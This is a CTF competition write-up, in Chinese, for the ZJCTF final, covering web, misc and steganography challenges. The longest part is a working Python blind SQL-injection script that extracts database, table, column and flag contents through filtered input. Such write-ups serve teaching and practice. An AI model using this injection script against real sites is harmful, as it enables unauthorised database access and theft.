ZJCTF Final 部分WP
浙江首届大学生CTF比赛,大型网友线下见面活动,主要过来和师傅们学习下。
分享下比赛时候做出的题目和复现时放出的隐藏题目的做法以及思路。
1-1
Name
netsec
Title
知法懂法
Category
web
Describe
请认真阅读网络安全法
Score
200
Location
1-1
Solution
得到大家一致评论很坑的签到题….
注入得到一些网络安全法条目,查看发现第二十九条明显不属于网络安全法。
但是题目并没有给出详细提示,尝试10,二十九均无效,最后直接在搜索框输入条文内容得到flag。
1-2
Name
zq_web
Title
回味童年
Category
web
Describe
你能达到2018分吗
Score
400
Location
1-2
Solution
一个没有游戏结束判定的俄罗斯方块游戏,用jd-gui打开逆向查看源码。
基本逻辑是达到一定分数,程序就会根据当前时间戳构建认证请求发送给服务器,获取flag。
直接构造发送请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
public class b { public static void main(String[] args) { gameOver(); } public static void gameOver() { String var4 = "http://172.21.1.102:61234/Gb9k0TPyqz"; long var5 = System.currentTimeMillis(); String var7 = Long.toString(var5); Base64.Encoder var8 = Base64.getEncoder(); byte[] var9 = var8.encode(Integer.toString(9999).getBytes()); String var10 = new String(var9); String var11 = HttpRequest.sendGet(var4, var7 + "&" + var10); System.out.println(var11); } } |
2-1
Name
circle
Title
圆圈圈圆
Category
misc
Describe
一张普通的纸
Score
300
Location
2-1
Solution
图片隐写,先用binwalk分析
foremost提取出其中的各种文件,中途晕头转向的过程就不提了,最后结果是:
在ole文件中得到假flag:
用这个字符串当作密码解密rar压缩包,得到一张图片,二进制分析图片得到真flag:
zjctf{C1r_u_f1n0}
Ps:在无外网环境下给出一个不常见的ole格式文件,迷惑性还是很大的。
Pss:没太理解这个假flag和压缩包密码的联系。
Psss:主办方很坏的在内网提供了压缩包爆破工具,是个狠人.jpg
4-1
Name
pig_peppa
Title
小猪佩奇
Category
misc
Describe
小猪佩奇身上纹,掌声送给社会人
Score
300
Location
4-1
Solution
得到一个png文件和一个docx文档,binwalk检查发现都隐写了很多文件,提取出来查看,发现png文件中有一个mp3文件,文档中有一个二维码。
解析二维码,得到:
password:APIG
思考有密码的音频隐写,尝试MP3Stego
1 2 |
decode -X -P APIG peppa.mp3 |
会在当前目录生成一个peppa.mp3.txt,得到base64编码后的flag,解码得到flag。
4-2
Name
yurisqli_final
Title
盲人摸象
Category
web
Describe
just inject it!
Score
500
Location
4-2
Solution
从题名可以看出,本题考察盲注,跑了一波sql关键词发现一些被过滤(单引号也被过滤了,但双引号没有)
以下是部分没被过滤的关键词
比赛时候poc是选择 < 来注入的,
赛后和Liano师傅交流发现他们是用in进行注入,这里在复现时候专门使用in编写了个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 |
# coding=utf-8 import requests import string url = 'http://sec4.hdu.edu.cn:20003' s = string.printable payload='1" && (select substr("abc",1,1) in ("a"))' def getDatabase(): database = '' for i in range(50): for j in s: payload='1" && (select substr((select group_concat(schema_name) from information_schema.schemata),'+str(i+1)+',1) in ("'+str(j)+'")) -- ' # print payload text = getData(url,payload) if 'find' in text: database += j print database break print '[*] Databases names is : ' + database # database = "" # for i in range(5): # for j in s: # # print str(j) # payload='1" && (select substr(database(),'+str(i+1)+',1) in ("'+str(j)+'")) -- ' # # payload='1" %26%26 (select substr(database(),1,1) in ("'+str(j)+'")) --' # # print (payload) # text = getData(url,payload) # # print text # if 'find' in text: # # print text # database += j # print database # break # print '[*] The current database is ' + database def getTables(database): tables = '' for i in range(50): for j in s: payload='1" && (select substr((select group_concat(table_name) from information_schema.tables where table_schema in ("'+database+'")),'+str(i+1)+',1) in ("'+str(j)+'")) -- ' # print payload text = getData(url,payload) if 'find' in text: tables += j print tables break print '[*] Tables names is : ' + tables table = tables.split(',')[0] def getColumns(table): columns = '' for i in range(20): for j in s: payload='1" && (select substr((select group_concat(column_name) from information_schema.columns where table_name in ("'+table+'")),'+str(i+1)+',1) in ("'+str(j)+'")) -- ' text = getData(url,payload) if 'find' in text: columns += j print columns break print '[*] Columns names is : ' + columns column = columns.split(',')[0] # getFlag(table, column) def getFlag(db,table,column): flag = '' for i in range(50): for j in s: payload='1" && (select substr((select group_concat('+column+') from '+db+'.'+table+'),'+str(i+1)+',1) in ("'+str(j)+'")) -- ' text = getData(url,payload) if 'find' in text: flag += j print flag break print '[*] The flag is: ' + flag def getData(url,payload): data={ 'id':payload, 'Submit':'Search' } headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } r = requests.post(url, data=data,headers=headers) return r.text def main(): # getDatabase() # getTables("useless") # getColumns("zjctf") getFlag("useless","zjctf","content") if __name__ == '__main__': main() |
这里注意 in 不区分大小写,所以最后的b需要大写
f1-1
Name
more_fast
Title
你得快点
Category
web
Describe
你需要尽快的提交flag
Score
300
Location
f1-1
Solution
查看源码,提示
让我们POST一个东西,所以得先找到这玩意。查看网络请求,在返回的请求头中发现了一个flag值:
base64解码查看:
1 2 3 4 5 |
import base64 print(base64.b64decode("6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTmpnMk5ESXk=")) 跑的还不错,给你flag吧: Njg2NDIy |
每次请求flag都会不同,把flag字符串用POST提交回去,发现提示不够快:
尝试多次发送请求,无果,最后发现随意POST一个字符串也会返回“不够快”,于是检查是不是POST的数据出现了问题,最后发现给出的字符串依旧是base64编码过的,还需要一次解密再提交。最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
import requests import base64 url ="http://172.21.1.102:61234/hC1DU4oEZ3" sess=requests.session() res = sess.get(url) # print res.cookies flag_in_header = res.headers["flag"] flag = base64.b64decode(base64.b64decode(flag_in_header)[-8:]) # print flag # print sess.cookies data={ 'margin':flag } res = sess.post(url,data=data) print res.headers print res.text |
f1-2
Title
心有猛虎
Description
“心有猛虎,细嗅蔷薇”是英国诗人西格里夫·萨松代表作《于我,过去,现在以及未来 》的经典诗句。原话是“In me the tiger sniffs the rose.”诗人余光中将其翻译为:心有猛虎,细嗅蔷薇。意思是,老虎也会有细嗅蔷薇的时候,忙碌而远大的雄心也会被温柔和美丽折服,安然感受美好。讲的是人性中阳刚与阴柔的两面。(不要碰撞平台,谢谢!!!)
Category
WEB
Score
500
Solution
思路:哈希算法碰撞,查看robots.txt能看到/flag和/code,前者是提交请求的接口,后者为验证码接口,发现后端是python,于是查看有无源码泄漏,得到flag.pyc,逆向出源码后进行哈希函数碰撞。
f2-1
Name
god_blame
Title
无量寿佛
Category
web
Describe
你能得到神的保佑吗?
Score
300
Solution
点进链接页面,查看源码:
1 |
<div class='aaencode'>(゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</div> |
AAencode,解码得到:
1 |
document.write("<h1>THE ANSWER IS HERE</h1><div><!--I AM HRER=empjdGZ7MV9hTV9IZTJlX2FhYWF9--></div>") |
发现一段base64,解码后得到flag:
zjctf{1_aM_He2e_aaaa}
近期评论